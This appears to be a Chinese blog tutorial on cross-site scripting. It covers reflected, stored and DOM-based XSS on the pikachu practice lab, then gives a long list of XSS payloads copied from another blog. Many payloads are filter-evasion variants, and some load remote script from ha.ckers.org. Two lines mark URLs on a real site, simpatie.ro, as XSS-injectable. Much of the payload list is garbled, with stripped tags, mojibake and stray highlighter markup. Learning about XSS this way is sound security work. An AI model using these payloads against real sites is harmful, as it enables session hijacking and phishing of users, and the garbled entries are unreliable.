• 【网络安全---XSS漏洞(1)】XSS漏洞原理,产生原因,以及XSS漏洞的分类。附带案例和payload让你快速学习XSS漏洞


    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取:

    超详细的网络安全笔记

    二,文件包含漏洞详解

    以pikachu靶场为例子进行讲解,pikachu靶场的搭建请参考以下博客;

    【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)_网络安全_Aini的博客-CSDN博客【网路安全 --- pikachu靶场安装】超详细的pikachu靶场安装教程(提供靶场代码及工具)https://blog.csdn.net/m0_67844671/article/details/133682360?spm=1001.2014.3001.5502

    一,什么是XSS漏洞?

    XSS全称(Cross Site Scripting)跨站脚本攻击,为了避免和CSS层叠样式表名称冲突,所以改为了XSS,是最常见的Web应用程序安全漏洞之一,位于OWASP top 10 2013/2017年度分别为第s三名和第七名,XSS是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的危险代码,当用户使用浏览器浏览网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的

    XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言,例如:ActionScript、VBscript。而如今的互联网客户端脚本基本是基于Javascript,所以如果想要深入研究XSS,必须要精通Javascript。  

    XSS漏洞图解

    二,XSS漏洞出现的原因

    程序对输入和输出的控制不够严格,导致恶意的攻击的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行从而产生危害.

    三,XSS的危害

    1、首先对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用。一般在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。

    2、劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。

    3、"框架钓鱼"。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。

    4、挂马(水坑攻击)

    5、有局限性的键盘记录

    还有很多很多.........

    四,XSS的分类

    4-1 反射型(中低危)

    交互的数据一般不会被存在在数据库里面,只是简单的把用户输入的数据反射给浏览器,一次性,所见即所得。

    就比如下面这段代码,服务端拿到name以后,原木原样输出到客户端 

    1. $name = $_GET['name'];
    2. echo "Welcome $name
      "
      ;
    3. ?>

    比如我们在服务端新建一个xss.php,把上面的代码复制粘贴进去 

    浏览器访问 ,需要一个参数为name,那我们传递一个name参数,值为随便

    这个代码很明显没有数据库注入漏洞,但是存在xss漏洞,因为这段代码并没有对用户的参数数据进行过滤处理。  

    攻击方法 '"> ,其中 '"> 我们称之为完成闭合符号,后面跟script标签来进行攻击,弹出了窗口表示我们的js代码被执行了。

    输入payload以后就回车发请求

    我们看到这执行了,说明存在xss漏洞,攻击成功了,当然了这只是简单验证,通过js写一个功能性代码可以实现更多的事情 

    其实xss的代码手段非常多,因为别人可能通过过滤等手段对script标签做了限制,那么你想攻击的话,就要改变方式,所以攻击代码的写法非常多。  

     现在以pikachu靶场为例:

    我输入了aaa,发现页面上显示who is aaa,i dont't care .

    我们输入的信息能在页面上打印,可能存在xss漏洞,用payload试一下  

     '">

    我输入了payload发现输入不全,原来是前端做了长度限制,不过这个限制很好绕过的,直接在下面框框的地方把20改为200,可以直接改的 

     改完以后回车,然后再把payload复制粘贴,然后点击提交

    看到攻击成功了 

    对比一下正常输出的p标签跟payload以后的p标签有什么区别?

    正常输出时的p标签

    攻击成功后的p标签 

    payload 是  '">

    原来就是通过插入script标签来注入恶意代码的

    4-2 持久性(高危)

    持久性也叫存储型XSS,交互的数据会被存在在数据库里面,永久性存储,具有很强的稳定性。

    示例: '">

     确定以后页面就剩下''>了,其余的当script标签输出在页面了,而且整个payload已经存出来数据库了,每次一打开这个页面都会从数据库读取数据,加载到页面,每次都会受到攻击

    比如刷新一下页面看看 

    说明,这个攻击代码存储到了数据库里面,每次刷新页面的时候,都会加载这个数据,执行这个js代码,所以这种存储型漏洞很严重。

    我们看一下他的后台代码,发现我们输入的payload到了后台以后会存储到数据库中,当我们每次打开这个页面的时候会从数据库读取数据渲染页面,从数据库读取的恶意代码就执行了。

    1. if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    2. $message=escape($link, $_POST['message']);
    3. $query="insert into message(content,time) values('$message',now())";
    4. $result=execute($link, $query);
    5. if(mysqli_affected_rows($link)!=1){
    6. $html.="

      数据库出现异常,提交失败!

      "
      ;
    7. }
    8. }

    4-3 DOM型(中低危)

     通过前端的dom节点形成的XSS漏洞,如下面的代码,没有前后端交互,文本框输入的内容直接输出到页面

    1. DOCTYPE html>
    2. <html>
    3. <head>
    4. <title>输入框提交示例title>
    5. <script>
    6. function submitForm() {
    7. var inputText = document.getElementById("inputText").value;
    8. var result = document.getElementById("result");
    9. if (inputText.trim() === "") {
    10. result.innerText = "不能提交空内容";
    11. } else {
    12. result.innerText = inputText;
    13. }
    14. }
    15. script>
    16. head>
    17. <body>
    18. <h1>输入框提交示例h1>
    19. <input type="text" id="inputText">
    20. <button onclick="submitForm()">提交button>
    21. <p id="result">p>
    22. body>
    23. html>

    ,一般不与后台服务器产生数据交互,属于中低危漏洞了。

    可能触发DOM型XSS的js操作

    document.referer
    window.name
    location
    innerHTML
    document.write

    闭合标签:  

    ' οnclick="alert(1111)"  
    ' οnclick="alert('xss')">
    '>
    what do you see?

    示例:  

    当我们输入正常内容发现,输出到了a标签的href属性里,我们就想办法闭合href属性

    构造payload如下 xxx" οnclick="alert(123)

    执行以后发现语法上没问题,确实闭合了a标签,添加了一个onclick属性,但是整体被转义了,所以攻击失败

    可以构造payload  xx' οnclick="alert('123')">

     点击以后确实看到效果了

    现在看一看攻击以后渲染的效果  xx' οnclick="alert('123')">

    五,XSS常用payload 

    下面是我找的比价全的xsspayload,来自以下博客,可以参考一下

    XSS-Payload大全_xsspayload大全_gy1bubble的博客-CSDN博客

    1. javascript:alert(1)>
    2. CLICKME CLICKME
    3. alert(1)0
    4. ">
    5. ">
    6. ">
    7. ">
    8. <% foo>
    9. </div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="68"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>"></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="69"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><!--[if]><script>javascript:alert(1)</script --></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="70"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><!--[if<img src=x onerror=javascript:alert(1)//]> --></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="71"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><script src="/\%(jscript)s"></script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="72"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><script src="\\%(jscript)s"></script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="73"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="74"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="75"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="76"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="77"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="78"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="79"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><style>*[{}@import'%(css)s?]</style>X</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="80"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div style="font-family:'foo ;color:red;';">XXX</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="81"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div style="font-family:foo}color=red;">XXX</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="82"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><// style=x:expression\28javascript:alert(1)\29></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="83"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><style>*{x:ĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂĂÂ(javascript:alert(1))}</style></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="84"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div style=content:url(%(svg)s)></div></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="85"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="86"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="87"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div style="background:url(/f#oo/;color:red/*/foo.jpg);">X</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="88"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="89"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="90"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><x style="background:url('x;color:red;/*')">XXX</x></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="91"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="92"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="93"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="94"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="95"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="96"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="97"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><meta charset="mac-farsi">ÄÂÄšĹscriptÄÂĚŞjavascript:alert(1)ÄÂÄšĹ/scriptÄÂĚŞ</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="98"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` ></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="99"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behA:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="100"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><IMG SRC="jav ascript:alert('XSS');"></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="101"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="102"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><IMG SRC=" javascript:alert('XSS');"></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="103"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="104"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="105"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="106"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><<SCRIPT>alert("XSS");//<</SCRIPT></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="107"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><SCRIPT SRC=http://ha.ckers.org/xss.js?< B ></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="108"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><SCRIPT SRC=//ha.ckers.org/.j></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="109"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><IMG SRC="javascript:alert('XSS')"</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="110"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line"><iframe src=http://ha.ckers.org/scriptlet.html <</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="111"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">\";alert('XSS');//</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="112"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">
      • XSS

    10. exp/*
    11. ÄÂÄšĹscriptÄÂĚŞalert(ÄÂĂÂXSSÄÂĂÂ)ÄÂÄšĹ/scriptÄÂĚŞ
    12. alert("XSS")'); ?>
    13. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
    14. +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
    15. PT SRC="http://ha.ckers.org/xss.js">
    16. '';!--"=&{()}
    17. '>//\\,<'>">">"*"
    18. '); alert('XSS
    19. ">
    20. ipt>alert('XSS');ipt>
    21. alert(\"XSS\")'); ?>
    22. ">
    23. [color=red' onmouseover="alert('xss')"]mouse over[/color]
    24. "/>
    25. window.alert("Bonjour !");
    26. alert(String.fromCharCode(88,83,83));'))">
    27. onload=alert('XSS')>
    28. ">
    29. '">>

      XSS

    30. alert("XSS")'?>
    31. " onfocus=alert(document.domain) "> <"
      • XSS
    32. perl -e 'print \"alert(\"XSS\")\";' > out
    33. perl -e 'print \"\";' > out

    34. alert(1)

    35. ">
    36. [color=red width=expression(alert(123))][color]
    37. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
    38. ">
    39. '">
    40. '">
    41. '"">
    42. <<<
    43. '>
    44. '>">
    45. }
    46. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
    47. ='>
    48. "+src="http://yoursite.com/xss.js?69,69">
    49. >
    50. ">/XaDoS/>
    51. ">/KinG-InFeT.NeT/>
    52. src="http://www.site.com/XSS.js">
    53. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
    54. !--" />
    55. XSS by xss

    56. ">>

      XSS by xss

    57. '">>

      XSS by xss

    58. XSS by xss

    59. XSS by xss

    60. ">">>

      XSS by xss

    61. XSS by xss

    62. '></div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="360"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="</div></div></li><li><div class="hljs-ln-numbers"><div class="hljs-ln-line hljs-ln-n" data-line-number="361"></div></div><div class="hljs-ln-code"><div class="hljs-ln-line">\\'</div
    63. http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
    64. http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
    65. '); alert('xss'); var x='
    66. \\'); alert(\'xss\');var x=\'
    67. //-->
    68. ">123
    69. ">

      123

    70. ">

      123

    71. ">123
    72. ">

      123

    73. >

      Hover the cursor to the LEFT of this Message

      &ParamHeight=250
    74. ">

      ">123

    75. ">

      123